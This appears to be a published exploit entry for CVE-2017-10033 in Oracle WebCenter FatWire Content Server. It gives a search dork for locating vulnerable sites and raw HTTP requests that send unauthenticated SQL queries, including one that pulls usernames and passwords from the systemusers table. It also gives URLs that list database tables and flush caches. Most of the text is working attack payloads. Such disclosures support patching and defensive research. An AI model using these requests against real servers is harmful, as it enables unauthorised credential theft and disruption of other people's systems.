Oracle WebCenter FatWire Content Server < 7 - Improper Access Control
# Exploit Title: Oracle WebCenter FatWire Content Server < 7 - Improper Access Control # Dork: inurl:Satellite?pagename # Date: 2017-10-17 # Exploit Author: Sebastian Cornejo Olave # Vendor Homepage: http://oracle.com # Version: 5.5.2 ,7.5 <= # CVE: CVE-2017-10033 # Category: Webapps # Tested on: Kali linux # VULNERABILITY DESCRIPTION # It has been discovered that there is an incorrect access control over # several resources in previous versions of Fatwire (confirmed # FutureTenseContentServer 5.5.2 ,7.5) that allow the sending of SQL # queries and query the tables and database schema without authentication. # PoC : Improper Access Control PAYLOAD : SQL query POST /cs/Satellite HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 98 tbl=AArticles&query=select+username%2Cpassword+from+systemusers&pagename=Support%2FVerify%2Fexport PAYLOAD : show all table database https://www.example.com/cs/Satellite?pagename=Support/Verify/tablelistHTML https://www.example.com/cs/Satellite?pagename=Support/CacheManager/FlushTables&cmd=null OR request POST /cs/Satellite HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 98 pagename=Support/Verify/tablelistHTML PAYLOAD : URL list ID installed Site https://www.example.com/cs/Satellite?pagename=OpenMarket/Demos/index # Collaborators # Vis0r # Queseguridad |